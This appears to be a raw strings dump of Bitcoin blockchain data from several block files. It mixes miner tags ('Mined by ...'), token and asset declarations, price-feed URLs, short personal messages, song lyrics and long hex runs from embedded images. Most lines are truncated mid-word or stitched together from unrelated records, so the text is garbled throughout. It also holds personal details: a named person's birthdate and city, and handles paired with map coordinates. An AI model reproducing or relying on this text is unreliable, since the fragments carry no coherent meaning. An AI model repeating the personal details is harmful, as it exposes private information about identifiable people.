'j%3 rrency of @chrislloyd's appreciatio
'j%2 are that clloins are the offical cu
'j%0 I declare clloin with ticker: cll
Mined by zhanlongclam
l! t.io/feed/1c91gwRiSqf5vA8TTYLe9bR
!! t.io/feed/16j3iYLvssMuGhjC6gNoksR
! t.io/feed/1666JNhmcGdTQARpeswAmwR
! t.io/feed/19Vw1rFtcygb4XGfu7XJUxR
! t.io/feed/1ASVBCHPjoa8zhDLMeiyYnR
'TOKEN FOR REPEATED EXCHANR
D! t.io/feed/1GE8tdGVTydHvnNbTCm1jFR
! t.io/feed/1Ck98s9dGwVLyQeQ4dqs5pR
(1 MINUTE PARKING TOKENS FR
u=https://cpr.sm/bcO0MhcwG8
9n! DW BITCOIN DIFFICULTY
! feeds.info/static/live/btc-usd.jR
Backed by a single SatoshR
'j%0 I declare sweets with ticker: swe
'j%0 I declare exampleKoin with ticker:
'j%0 I declare testcase with ticker: tes
! feeds.info/static/live/btc-usd.jR
)Crypto-Rewards Program htR
)Crypto-Rewards Program htR
'j%0 I declare anotherkoin with ticker:
Total Issued: 999666
! feeds.info/static/live/btc-usd.jR
What's up Ruben, you wantR
TEE TIME RESERVATION TOKER
)RSRVS: 1LUPyG5ffnmf7uX4m5R
Mined by zhanlongclam
Mined by zhanlongclam
http://goo.gl/6jQ86V
TOKENS FOR POINT PROGRAMSR
m! xcp.com/feed/1309
v7d! xcp.com/feed/1305
y! xcp.com/feed/1320
e! xcp.com/feed/1306
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=! xcp.com/feed/1319
L! xcp.com/feed/1292
(zBeO! xcp.com/feed/1326
bj! xcp.com/feed/1310
D! xcp.com/feed/1311
k<! xcp.com/feed/1302
n!qt! xcp.com/feed/1296
y! xcp.com/feed/1294
7! xcp.com/feed/1321
x:! xcp.com/feed/1298
Ac! xcp.com/feed/1318
l].! xcp.com/feed/1314
h! xcp.com/feed/1300
w! xcp.com/feed/1324
mn'! xcp.com/feed/1299
http://goo.gl/6jQ86V
*104<My oldest daugh
er moves into the do
rms tomorrow morning
are forever my baby.
fToCollege.jpg*5922?
((((((((((((((((((((
ccff497325235840df6e
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e3b10119d6d56528b03e
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35840df6e01d49beb53f
491c14241e3b10119d6d
7604bd5ac268fcbbd79d
af3718b72cdd1fb2054c
39cf81be7e8592d0c359
0abfa87b75e5e59009b6
d497ebfc943082e9fd1d
888a330f0971ac12d0d8
3f29de8aa084a622b383
841c85bb5bd18b6f1738
c81a5cd8b45e6956ee7a
7add8eac5f0d496076c6
6efee4cab09313103b5d
8155f2fc9aa6055be42c
302e0701ce41ca5a1293
ad031ccb453715dad669
11f01476dc813e58db01
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it, the axiom,
o reveals it.
Mined by chenjialong
Tokens for use at monegraR
! T - Coin Flip - 1 = heads, 2 = tR
Mined by wangxingsmile
Bata version is now released !
! t digit of block hash when matchR
-B! xcp.com/feed/1288
F! xcp.com/feed/1289
E! xcp.com/feed/1290
@! xcp.com/feed/1285
! ch block hash last dgt; odd=headR
Mined by zhaodong1982
Medical Development Vote
NIGERIAN DASH SYSTEM TOKER
TABLE RESERVATION TOKEN
r! xcp.com/feed/1358
P! xcp.com/feed/1364
@! xcp.com/feed/1341
S! xcp.com/feed/1365
rZ`}! xcp.com/feed/1361
3! xcp.com/feed/1343
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\! xcp.com/feed/1369
VYg! xcp.com/feed/1347
]R8! xcp.com/feed/1352
~! xcp.com/feed/1370
,kr! xcp.com/feed/1349
Qp! xcp.com/feed/1345
`! xcp.com/feed/1354
8! xcp.com/feed/1359
\! xcp.com/feed/1357
k! xcp.com/feed/1332
P! xcp.com/feed/1340
7! xcp.com/feed/1338
k! xcp.com/feed/1335
SB! xcp.com/feed/1334
5! xcp.com/feed/1339
'j%0 I declare tstkoin with ticker: tst
Mined by ss13155612108
South Florida coin try 2
our first meeting :)
Mined by lai717689843
'j%0 I declare kointest with ticker: koi
Total Issued: 999888
'j%0 I declare yetanothertest with ticke
'j%0 I declare ttt with ticker: ttt
http://goo.gl/6jQ86V
http://goo.gl/6jQ86V
VYg! xcp.com/feed/1347
~! xcp.com/feed/1370
@! xcp.com/feed/1341
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rZ`}! xcp.com/feed/1361
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3! xcp.com/feed/1343
P! xcp.com/feed/1364
r! xcp.com/feed/1358
k! xcp.com/feed/1332
7! xcp.com/feed/1338
8! xcp.com/feed/1359
S! xcp.com/feed/1365
`! xcp.com/feed/1354
Qp! xcp.com/feed/1345
]R8! xcp.com/feed/1352
5! xcp.com/feed/1339
SB! xcp.com/feed/1334
k! xcp.com/feed/1335
s! xcp.com/feed/1376
6! xcp.com/feed/1391
"! xcp.com/feed/1378
hjz! xcp.com/feed/1375
@charley,37.773287,-122.4131640
Mined by xiao8084980
Mined by sww11005088
File: blk00168.txt
Mined by qq570147439
Mined by rui20030604
Mined by syxiaojiang8
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
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F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
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F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
F! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaR
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Mined by hqg4328021975
Mined by fengdongping
Mined by chenguangfu1
T - Coin flip result = TAILS
! ck 316700 Last Digit of Hash, OdR
Mined by liugonggong
Mined by a39771097816
eMined by arendelle1tm
@bitcoins,43.655550,-79.365215
$/mining.bitcoinaffiliatenetwork.com/
'j%0 I declare ttt with ticker: ttt
FREE PLAY TOKEN FOR GAME
Do or do not. There is noR
ALL INCLUSIVE VACATION TOR
TOKENS FOR TOURIST ATTRACR
$/mining.bitcoinaffiliatenetwork.com/
BLACK FRIDAY SALE TOKEN
CYBER MONDAY SALE TOKEN
FANTASY SPORTS LEAGUE TOKR
SPANISH LANGUAGE SOCCER TR
SPANISH LANGUAGE BASEBALLR
$TOKEN FOR BTC PAYMENT TO R
@tlongren,42.022718,-93.452301
https://wiki.unsystem.net
@tlongren,42.022718,-93.452301
https://wiki.unsystem.net
Mined by wanghailian
Mined by arendelle1dm
)RSRVS: 1AGdz4nkCcVGD5kEdgR
@charley,37.773417,-122.413219
http://goo.gl/6jQ86V
http://goo.gl/6jQ86V
http://goo.gl/6jQ86V
(Indian rupees issued insiR
'j%0 I declare ttt with ticker: ttt
&Bkeychain.com keychain maR
Mined by chenliang1982
s Mined by arendelle1dm
'This is a token backed byR
TOKEN BACKED BY CRYPTO ASR
ofFMined by jack6945
Mined by pjp1969pf74
Mined by zcw13623028508
Mined by arendelle1tm
Mined by you1981you1123
%http://vyktoryanbroadcastR
Sc! uk: Lee Sedol vs Gu Li - JubangoR
http://goo.gl/6jQ86V
#http://vyktorybroadcastinR
Satoshi love BTCring
BTCring love BitComp
$/mining.bitcoinaffiliatenetwork.com/
Mined by qq1815978484
Mined by arendelle1tm
NoahWasHere 24/8/14.
http://mikedance.net
u=https://cpr.sm/zKXY6OcFpq
Mined by zwj13803793000
Mined by tangsuchuan
*Mined by zhaodong1982
Mined by qq876155501
u=https://cpr.sm/6GzYtA90oR
&Goods & Services in Sub-SR
File: blk00169.txt
Retirement Community DeveR
Montessori Education
Something related to the R
Something related to the R
%Something having to do wiR
New World University
New World University
New World University
Something related to educR
Personal Injury Support
%1KFdMXu5XtfaMYEy4t3N.....R
Glaciers... while they laR
CRYPTO COIN RUPEE EQUIVALR
&PAYMENT FOR SERVICES EQUIR
Conscious EntrepreneurshiR
HostFat and graffiti
$/mining.bitcoinaffiliatenetwork.com/
http://goo.gl/6jQ86V
@charley,37.780458,-122.405040
#j!1 tal Issued: 400
'j%0 I declare koins with ticker: koi
"http://www.worldcryptonetR
"http://www.worldcryptonetR
Mined by arendelle1dm
@Mined by changfeifei
All your base are belong to us
$/mining.bitcoinaffiliatenetwork.com/
&Goods & Services in Sub-SR
New World University
New World University
New World University
Glaciers... while they laR
Mined by gf406224454
Mined by arendelle1dm
!USD 1 of Charles Evans's R
$USD 1 of CEF Member goodsR
Matt your a big poop
All I need is love!!
Proof of me, forever!
Hiroki Horiuchi 1983-
"j Don't you like it? Co-s-p-lay
)j'gridmoon(1981)"Want You Gone"2014Summer
'j%Shut the fuck up and write some code.
Ugh shut up Berridge
$1 worth of accounting seR
Internal token for ChydenR
'$1 worth of Forensic EconR
Mined by davidoff0010
Mined by f2poolscant
'nXHD=USD (fiat). Details R
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
http://www.foldingcoin.neR
!http://www.hashdollar.orgR
"http://www.hashdollar.orgR
Dave lets play pingpong
http://goo.gl/6jQ86V
&j$Masanori Yamashita 1974.7.17 nagoya
Token of the demoscene
http://goo.gl/6jQ86V
u=https://cpr.sm/mB77OYzQrqU
Mined by zhangyinmeng
u=https://cpr.sm/pKKSob_uyv8]
/Mined by arendelle1dm
Mined by wanglongqian
Mined by wfababamama
Mined by liangying1919
Mined by chenchunshu8696
Mined by zhanlongclam
Mined by a1015501972
Mined by liugonggong
'RECALLABLE WIFI TOKEN FORR
Mined by a2472317999
Mined by wangxingsmile
u=https://cpr.sm/aiK_w34w7u
Mined by zhaodong1982
Mined by f2poolscant
u=http://btcrps.com8]
u=https://cpr.sm/GiyzfM3rTW
u=https://cpr.sm/mxBcdIBd3-
-?:cu{! t.io/feed/1duhhsx9Y4Rvmgfni5T1EyR
aMined by arendelle1dm
! t.io/feed/12ULeNNjLyMEW9cHBcqEXzR
! t.io/feed/1HzZq4QpF4cb3pGdNeoMVjR
u=https://cpr.sm/OZTq5MyaTs8]
)www.hashdollar.org wwR
+---- APSVEICU ----+
| TAGAD DODIES UZ |
| N56 58.010 |
| E24 05.635 |
| SLEPNI MEKLE PIE |
| KLAVIEREM |
+------------------+
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
obert Nesta "Bob" Ma
rley (6 February 194
as a Jamaican reggae
singer-songwriter,
musician, and guitar
ist who achieved int
ernational fame and
acclaim. Starting o
ut in 1963 with the
group the Wailers, h
e forged a distincti
ve songwriting and v
ocal style that woul
d later resonate wit
h audiences worldwid
e. The Wailers would
go on to release so
me of the earliest r
eggae records with p
roducer Lee Scratch
Perry. After the Wai
lers disbanded in 19
74, Marley pursued a
solo career which c
ulminated in the rel
ease of the album Ex
odus in 1977 which e
stablished his world
wide reputation and
produced his status
as one of the world'
s best-selling artis
ts of all time, with
sales of more than
75 million albums an
d singles. He was a
committed Rastafari
who infused his musi
c with a profound se
nse of spirituality.
bob-marley.jpg*7500?
22222222222222222222
a573ca62c9efd80c15d9
a54fd7d3a422d930c26c
a714ba980ad196f5d30c
e1b2/264:a573ca62c9e
fd80c15d9a54fd7d3a42
2d930c26ca714ba980ad
63d68ba36041816d31d6
beae6c3964c41915a15a
40c029237a982435db16
5ac833e0f5e5e097b1b6
eea4a6916fdcbf56d227
63c6d9ff5c5063fe6001
22222222222222222222
IJSTUVWXYZcdefghijst
&'()*56789:CDEFGHIJS
TUVWXYZcdefghijstuvw
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
hi blockchain-alonso
'j%0 I declare gross with ticker: GR
Mined by klminer2014
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
4269fdef141de55a61b7
70fa7f082f3ff497fcd4
b44e9ab26410ef056a36
9531<528:4269fdef141
de55a61b770fa7f082f3
ff497fcd4b44e9ab2641
df66ccb7d20f635c1e34
1438f16fd213377a40f2
55ae416175afe027228e
bb5c03579e4e24124e3e
52a0bbad0fe4023e49d6
3dc523f0b1b0d762794b
7c850bf8c19ebacf670a
2830fe50999a8b2560a2
5d6ba2900e4d7672d331
107f3defae334498c4eb
f0519ef3a895717378ab
48954060dde3030cd2f0
3f33d6de09646f4355e1
d6264fc6371480e1362d
8eeb06c5e601688eb5c4
24a872d382d86da45f07
b7a0263fadcb3061af12
859867041c239fb1d114
1825"132>24a872d382d
86da45f07b7a0263fadc
b3061af12859867041c2
4b83c525a1a7c64404d7
48071f15dda1007c9950
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by malin7542529
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
gm! t.io/feed/17wSvfyNTXHXhkjG3xo9AmR
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
T! t.io/feed/1AJBFNrBNkicWtjbDSAAFiR
Mined by songbaofeng
! feeds.info/static/live/btc-usd.jR
Mined by sxwo47995152
! feeds.info/static/live/btc-usd.jR
@Mined by linshen2014
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
u=https://cpr.sm/udqXUZOvgd
u=https://cpr.sm/udqXUZOvgd
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/udqXUZOvgd
! feeds.info/static/live/btc-usd.jR
T! t.io/feed/1AJBFNrBNkicWtjbDSAAFiR
jMined by f2poolscant
! feeds.info/static/live/btc-usd.jR
:$/mining.bitcoinaffiliatenetwork.com/
Mined by jiangshan28
! feeds.info/static/live/btc-usd.jR
Mined by sunnyhctao03
Mined by huangqiy209
Mined by chongchongwb
! feeds.info/static/live/btc-usd.jR
digitaltangibletrust.com/aR
'j%0 I declare awesomebux with ticker: a
! feeds.info/static/live/btc-usd.jR
'j%0 I declare awesomebux with ticker: a
o anything you must
find a way to make i
d significant by the
courage of our ques
tions and the depth
of our answers. --Ca
! feeds.info/static/live/btc-usd.jR
Mined by liugonggong
Mined by cyy64792589
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by yfj13879973906
Mined by wang122261336
File: blk00170.txt
Mined by baidugan888
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
RMined by f2poolscant
! feeds.info/static/live/btc-usd.jR
Blockchain Publishing
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
&eMined by baidugan888
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by snkcapcom825
unsuccessful double-spend attempt
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
(The Official token for BiR
! feeds.info/static/live/btc-usd.jR
Mined by z15994809946
! feeds.info/static/live/btc-usd.jR
*j(BTC will be under $500 at the end of '14
Mined by zhaopengkuangji
! feeds.info/static/live/btc-usd.jR
Mined by zhaopengkuangji
Mined by wangwenting
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
Mined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
Mined by tanghuikuangji
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by lixiaokt1worker
proclaimed Bitcoin
Bruno Kucinskas self
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
!DIVISIBLE FIAT TO CRYPTO R
CRYPTO COIN RUPEE EQUIVALR
N-Mined by f2poolscant
Crypto Rupee exchange coiR
$Bangladesh Taka Crypto exR
! feeds.info/static/live/btc-usd.jR
proclaimed Bitcoin
Bruno Kucinskas self
Mined by chenliang1982
! feeds.info/static/live/btc-usd.jR
Mined by l13824331683
Mined by wangxingsmile
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by q2634672795
Mined by zhanlongclam
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
Mined by xushiming123
! feeds.info/static/live/btc-usd.jR
I}Mined by f2poolscant
TileCoin - on BitcointalkR
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
#Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
Mined by chenguangfu1
! feeds.info/static/live/btc-usd.jR
*j(b3222224671bca88eed9d2f861f86af338b770c9
IceDude, mu VPNi IP
sai IRC banni, aga t
seki seda: http://hu
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
PRODUCT ID FUNCTION FOR LR
! feeds.info/static/live/btc-usd.jR
Mined by wangxingsmile
http://hybridassets.info
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zcw13623028508
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
u=https://cpr.sm/x3UlyQWxSw
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
Baltimore Inner Harbor
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
make this bulletin
substantial. There i
sn't much I want to
say here that the re
st of the world ough
t to read. But Asimo
v's Foundation serie
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
Mined by sunnyhctao03
! feeds.info/static/live/btc-usd.jR
Mined by zengzhaoning
] Mined by arendelle0ls
Mined by btblaoguo11
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhao545382343
Ice Bucket Challenge
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
F_Mined by boatchang
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
)Cryptographic token used R
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by lwf752579658
Mined by qq2081736574
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/xKom9qnwDZ
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
http://goo.gl/6jQ86V
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
#1 token for every individR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle0ls
Mined by zhanlongclam
CMined by f2poolscant
Mined by qq617233831
! feeds.info/static/live/btc-usd.jR
DW BITCOIN DIFFICULTY
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
unsuccessful double-spend attempt
'j%0 I declare gross with ticker: GR
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
5Mined by arendelle1dm
A^4Mined by f2poolscant
Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
>21<What a small wor
ld!!!Aaron&Mari.jpg*
8e512ad284d5cff6bf7e
e97b0bdaea8a412403c9
c707c30e5acf63f31b43
8aa6:594*8e512ad284d
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a412403c9c707c30e5ac
80befa5a69b05f29c4d5
bed001912d8d0db27172
d60d191fd1b4b61c5f4b
e38481794755afbb7a4d
148cb0aeee3b36e03734
7c8eca243ac50165b516
60af0131a7e55f52cf4a
3985927fac2d9c9d5ac3
e8e651fc4ec76b87918d
dfff059a0c3d18cbd501
bf6fb2c871ddcc6c2599
bf86dfe4c4ce877b3dfe
2dad4c9cb13b08cd7741
9345f731983cab4b35ca
68ef0f99c8cfe73f3855
a4e9a97e61fea9956441
5847016446c583f29144
64f60b42e7c96ddb4573
<Gkkkkkkkkkkkkkkkkkk
kkkkkkkkkkkkkkkkkkkk
9:CDEFGHIJSTUVWXYZcd
DEFGHIJSTUVWXYZcdefg
GOLF CART RENTAL TOKEN
GOLF CLUB RENTAL TOKEN
Mined by gf406224454
! feeds.info/static/live/btc-usd.jR
Mined by qq1580833384
>90<Space, Tree, Wat
dack Ektachrome-X ci
rca 1963-1974, expos
(c) 1998 Hewlett-Pa
Default RGB colour
fault RGB colour spa
Condition in IEC619
ference Viewing Cond
ition in IEC61966-2.
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8fa33a3cd1b38e0529e8
48efd88f75d787c76436
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1e6b?660|8fa33a3cd1b
38e0529e848efd88f75d
787c76436fee7863e636
fde5fa4a4f2bc3623e8a
472753bfc8ac1ee23f15
a9cf82804d3ca4bda318
bd7308ec75013aa528fb
d7bde196de41fb7cb2be
812e5dc1d2fad9176c0c
cc88a7da20335a371fd4
bec90cbd981890326d31
87931bc87fcd9585ba14
3f785a7a5c527b95219c
25e20986bc4ef9367f39
c5efd466299dd834be53
6f5316f5db53da803891
164ad6832e94cbe595ff
fb397a8f25b9b0a3fab7
73807ee07dd23b532d05
5dfc0c552695404b45e4
00170523d82d2880b8fa
195d113a704ae6e4b9b2
53197bfacc7641d45db9
Check us at mypowers.com
File: blk00171.txt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
YMined by king660430
! feeds.info/static/live/btc-usd.jR
%1Mined by f2poolscant
Mined by nanjinghaowei
}}}|||||{{{{{{|}}}}~
~~~}||||||}|||}~}}}}
*223<alien adjective
iliar or like other
things you have know
n : different from w
rent from something
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lt RGB colour space
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RGB colour space - s
erence Viewing Condi
tion in IEC61966-2.1
e Viewing Condition
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95597cc4841c7384e10a
e6c6262ed1b3ff674e54
5495bf67642f1aecf994
ac88|1518\95597cc484
1c7384e10ae6c6262ed1
b3ff674e545495bf6764
c166ce4904d132e3b5b1
2de7d8fbd25b0dc84ede
e9ae0b2043cbeb22188a
fcf0c7a7483ab5c0511b
37267f90a9e1ace81462
d90542510bac0669160f
221168b79838c7237195
19ce4c3b88953263defc
26e472ba9585aa03b8ac
3bc5ff5360a66e84306c
639b426368fa6903fa16
4033ba3821607aff4222
2fdcc20445ab578e2f5e
9c19c865a566be57ab3a
7f5c25926f69638afd09
485c86105d30dab6f9ac
e1c564bccce46875b876
5bf01b41d1e7fdcb44ee
f4494488c49ccdd37190
bd3d296c60d8558fd0b6
a1016a53d288d326dbb2
89bc91ebe4bb7773ff64
66520be837e93619f9ec
709aa35d01522f6e1e12
7b6307cc9a3b5127bcf3
92b803873a8763216eb1
99953538f3a3eb6813a3
e4eb08512d3e2e39499a
4ae3e2f8c6667215c10b
1f85748628120545d8b9
d1865bc328490f95865d
d985f7f37d4ac9025500
0eef75726c5eafda0078
1eacdf3b4461e9e21b84
cc70db9dfabb5e15346c
cc846b670d53cbbe1116
45d7d7a1b55f07bf9d1a
73c6ae385479666c2bdc
d1acc411ff3d6e6c98db
ea6554fc00d718100360
d60a1dc79e999822bf20
2588dcc24dcb049e541a
a4bb7f17418354682408
9d874854f5419acb0105
401eec963d53106b45be
1eed9da48391606aed8c
3ba80e403c28efbe06bd
c3cb1d7c3262c277fd70
ae6294a07bbcc9bbcc90
472df73e579275a2a7ce
7fe41d3c8e5bc16aa3e6
Mined by arendelle1dm
:62>Dear space frien
! feeds.info/static/live/btc-usd.jR
Speaking of space fr
iends: https://www.y
outube.com/watch?v=-
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
Ficken!!!!!!!!!!!!!!
! feeds.info/static/live/btc-usd.jR
@charley,34.026696,-118.494004
"297>James Garland:
I asked this incred
ible woman to marry
me yesterday and she
said, "Yes." Love y
ou, Anne Marie Speck
k: I have this man
to spend the rest of
my days with. Thank
s to our friends in
Austin and our frien
ds from home for hel
ping to make yesterd
ay a truly perfect d
ayJames&Anne.jpg:630
((((((((((((((((((((
<HMined by qqq71778306
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
c61725a465e30af5f47e
3710e81f7dd3b62ecf55
012766377128d2170459
6563<462|c61725a465e
30af5f47e3710e81f7dd
3b62ecf5501276637712
26d479626e5796f8dd70
508c6bfdf42291e6cd1c
b83838a425b9dbad4f66
05130075f3ee7c2cf0e2
25573665b9ac5d2012af
2d0d9b5d134c2d86a58f
79eaf307864f79617de2
15e854b4fe9c9e801306
4ef5798cad1b73ee1138
7d2d4af91d8a7a8dffe0
bac9918c5b64d02fed6e
b06bdf55c7f5e6aee0d0
bc2bd4da40ba092a86f1
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
!-<p)`P-~'@ tizqKUI@
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/ziL7oMhHos
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
VIP Lets Talk Bitcoin memR
! feeds.info/static/live/btc-usd.jR
Mined by jiaozuolaotou
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by lichaohuo123
Mined by wangxingsmile
! feeds.info/static/live/btc-usd.jR
YMined by f2poolscant
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by cyha20140108
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by lcw88888888
! feeds.info/static/live/btc-usd.jR
Mined by wosiguwozai666
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
M00Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
'j%0 I declare assbux with ticker: bux
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by hlj18341288819
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
Mined by cchcy101006
! feeds.info/static/live/btc-usd.jR
'j%0 {"total": 2, "name": "assbux", "des
! feeds.info/static/live/btc-usd.jR
(Indian rupees issued insiR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
(Some people just wanna waR
! feeds.info/static/live/btc-usd.jR
"249>As a worker own
ed and operated spac
e, The Red Raven Esp
resso Parlor is comm
itted to being a uni
que, open and accept
ing establishment th
at features quality
product, offers the
community healthy al
ternatives, and fost
ers emerging artists
of all media.RedRav
((((((((((((((((((((
6bc1877f5080fe5f9a1d
47565982c51367d93199
a4204d07a6615a6912a5
1570\462/6bc1877f508
0fe5f9a1d47565982c51
367d93199a4204d07a66
bb8bb03547482c8fffa7
e90b3fed1c58a861ab2e
43ef5472e5237dddb950
93605e2f0ecb31262992
8aa5702f79d29bfeea74
985ebc7c6cc813b60733
df618a3884feb0fb2f86
b269df70a93e0edd3091
e8d48e2356279c27cfc1
cc73351a45d037f8b57d
842cf97e4084086c1332
84ac20fb5cec18d7b50c
8fdaa9790ce0a0957f2a
?92""Even if we trie
d to do it on purpos
e, never would have
beloved Vincent.Shie
maa&Vincent.jpg|3314
((((((((((((((((((((
